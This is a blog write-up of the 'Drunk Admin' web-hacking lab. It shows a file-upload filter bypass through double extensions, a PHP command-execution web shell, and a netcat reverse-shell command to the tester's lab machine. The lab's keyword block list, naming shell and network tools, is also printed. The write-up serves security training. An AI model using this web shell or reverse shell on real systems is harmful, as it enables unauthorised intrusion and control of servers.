Core dump overflow

Core dump in progress...

Pentest lab - Drunk Admin Web Hacking Challenge

| Comments

Mission statement

The challenge includes an image hosting web service that has various design vulnerabilities. You must enumerate the various web service features and find an exploitable vulnerability in order to read system hidden files. The web application is 100% custom so do not try to search google for relative PoC exploit code.

FINAL GOAL: Reveal the hidden message for a date arrange that Bob sent to Alice.

Recon

Started with an Nmap scan, I only keep here the relevant output:

1
2
3
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 5.5p1 Debian 6+squeeze1 (protocol 2.0)
8880/tcp open  http    syn-ack ttl 64 Apache httpd 2.2.16 ((Debian))

As you can see, the box is pretty tightly locked. Oh well, we knew from the challenge title that it was going to be web-based. So let’s see what’s on the web server

tripios image hosting

And on the Info tab there is this very appealing request to report any vulnerabilities we may find with the site: Developer was really drunk while writting these code lines. Act like a pro and report any security flaws that you spotted around.

Exploit

First I uploaded a normal image which then gets displayed on the image.php page:

uploaded image

Next I uploaded a reverse PHP shell and changed the Content-Type header from application/x-php to image/png. This gave me an invalid file extension error. Then I tried again but this time I also changed the extension from PHP to PNG. Another error, saying “you’re naughty”. This error kept flagging all my other attempts (tried uploading with double extensions or keeping just the PNG magic number and rest PHP code). So I went back to the start and once again found out that something I had dismissed as unimportant would play an important role in exploiting the target.

When uploading a correct image, I noticed a cookie was set: trypios=246f7045b13ca34bd0fb443a038605de. And when I looked at the image source, which I should have done in the first place, it looked like this: images/246f7045b13ca34bd0fb443a038605de.png.

Now I know where to access my uploaded files, but I still couldn’t upload any PHP file. I remembered the mission briefing that stated this is a custom application and I thought there might be a filter that could catch the reverse shell, so I wrote a one line PHP script that simply echoes back a message. Thought it might be deemed harmless enough if there is a filter in place. And I finally managed to fool the application into uploading it by simply giving it a double extension of .png.php (something that I had tried before with the reverse shell and it got caught).

However, after successfully uploading it, my “cool image” wasn’t displayed at all, and it didn’t exist in the source either. I navigated directly to where it should be (based on the cookie value), which in my case was at http://192.168.80.160:8880/images/178eaa4e889ab53ce844344ffc945171

And boom! The string “RCE possible” was displayed, which is exactly what I had my script outputting! The key takeaway here was that the file upload vulnerability was easily exploited by adding a double extension, but there was also a filter in place that flagged certain PHP code and prevented the upload. Because I could get code execution with a simple echo script, but not with the reverse shell.

With this information, I made another simple script to see if I can get command execution on the target:

1
2
3
<?php
echo exec($_GET['cmd']);
?>

When I tried uploading it…again the naughty message! Clearly some filtering is in place. I modified it again to:

1
echo exec('whoami');

It got uploaded without a problem and it displayed www-data when I went to it. So it appears that $GET triggered the filter. I tried again, this time with $REQUEST:

1
echo exec($_REQUEST['cmd']);

And the filter didn’t trigger! I went to it and passed the pwd command and success! It displayed /var/www/images. So command execution on the host finally achieved. I tweaked it a bit to give me a reverse shell, because it would be inconvenient to navigate the filesystem in its current state. So I had netcat listen on my 5555 port and then sent a shell from the remote host with cmd=nc -c /bin/sh 192.168.80.158 5555

Now that I’m the system, time to look around for the secret message:

1
2
3
4
5
6
7
8
root@pwnbox:~#nc -vvnlp 5555
listening on [any] 5555 ...
connect to [192.168.80.158] from (UNKNOWN) [192.168.80.160] 49553
ls /home
bob
ls /home/bob/
Documents
public_html

I looked in Bob’s directory and found some PHP files but none contained any message. So I took a look at the /var/www as well:

1
2
3
4
5
6
7
8
9
10
11
12
13
ls -a /var/www
.
..
.htaccess
.proof
image.php
images
index.php
info.php
myphp.php
style
upload.php
xmm.html

A hidden proof file! Let’s see what’s in it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cat .proof
#########################
# Drunk Admin Challenge #
#     by @anestisb    #
#########################

bob> Great work.
bob> Meet me there.
...> ?
bob> What? You don't know where?
bob> Work a little more your post
     exploitation skills.

Secret Code:
TGglMUxecjJDSDclN1Ej

Mail me your methods at:
anestis@bechtsoudis.com

All right, found the right one! I tried to decode that string but didn’t get any intelligible output. This time though, all those PHP files that I found in bob’s home directory would come in handy! There is a public_html file in bob’s home with files that encrypt and decrypt passwords.

1
2
3
4
ls /home/bob/public_html
encrypt.php
include
index.php

I copied the contents of the files to the /var/www/images directory and then I checked that index.php file:

secret decryption

But when I gave it the string TGglMUxecjJDSDclN1Ej I got garbage. Now, one of the things I tried before was to base64 decode the string. The output I got was Lh%1Lr2CH7%7Q#, which didn’t really help. Since I couldn’t decrypt the secret with the form either, I thought to double check what kind of encoding it might use. And because I was thinking base64 but not sure, I inspired myself from a Stack Overflow post to check if the string really is base64 in Python:

1
2
3
4
5
6
7
8
9
10
11
import base64
import binascii

testme = raw_input("Enter string to check if base64: ")

try:
    base64.decodestring(testme)
    print base64.decodestring(testme)

except binascii.Error:
    print "[x] Sorry, this isn't base64"

And the the script did return the same output that I had decoded earlier: Lh%1Lr2CH7%7Q#. So this time, I tried to enter this string in the decrypt form..and the message was revealed!

Alice, prepare for a kinky night. Meet me at ‘35.517286’ ‘24.017637’

Yes! The message was decrypted and challenge completed! I was curious though and looked at the coordinates in Google Maps. It seems that Bob and Alice’s chosen place of fun is a location in Greece:

secret location

Before wrapping up, do you remember the upload filter that caught the malicious uploads and gave a naughty message? I took a peek at it and here’s the filter part:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if(isset($_POST['Submit']) && !$errors) {

    $file = file_get_contents("./images/$image_name");
    if( strpos($file,"perl") ||
  strpos($file,"bash") ||
  strpos($file,"sh -c") ||
  strpos($file,"python") ||
  strpos($file,"nc ") ||
  strpos($file,"netcat") ||
  strpos($file,"base64") ||
  strpos($file,"ruby") ||
  strpos($file,"fsockopen") ||
  strpos($file,"xterm") ||
  strpos($file,"gcc") ||
  strpos($file,'$_GET') ||
  strpos($file,'$_POST') ||
  strpos($file,'$_SERVER') ||
  strpos($file,'$_FILES') ||
  strpos($file,'$_COOKIE') )
    {
  echo "<h1>Ohhh you are naughty!</h1>";
  exec("rm ./images/$image_name");
  die;
    }

Nice twist on this file upload vulnerability!

Report

This was another interesting challenge that seemed straightforward at the beginning but required more trial and error to solve. The steps that led to the exploitation were:

  • server was vulnerable to unrestricted file upload that led to remote code execution

  • the filter that tried to protect against malicious code didn’t stop everything that an attacker could use

  • the hidden file was not so hidden in the /var/www directory

  • files in Bob’s home folder were readable, allowing the decryption of the secret message

The key takeaway for me was to start simple and build from there when testing stuff. I would have saved so much time if I had tried a simple PHP code execution test, instead of throwing reverse shells and scratching my head when it didn’t work

And today, instead of a cookie, I leave here the picture that gets displayed when you go to a non existent page on the server:

hmm

Comments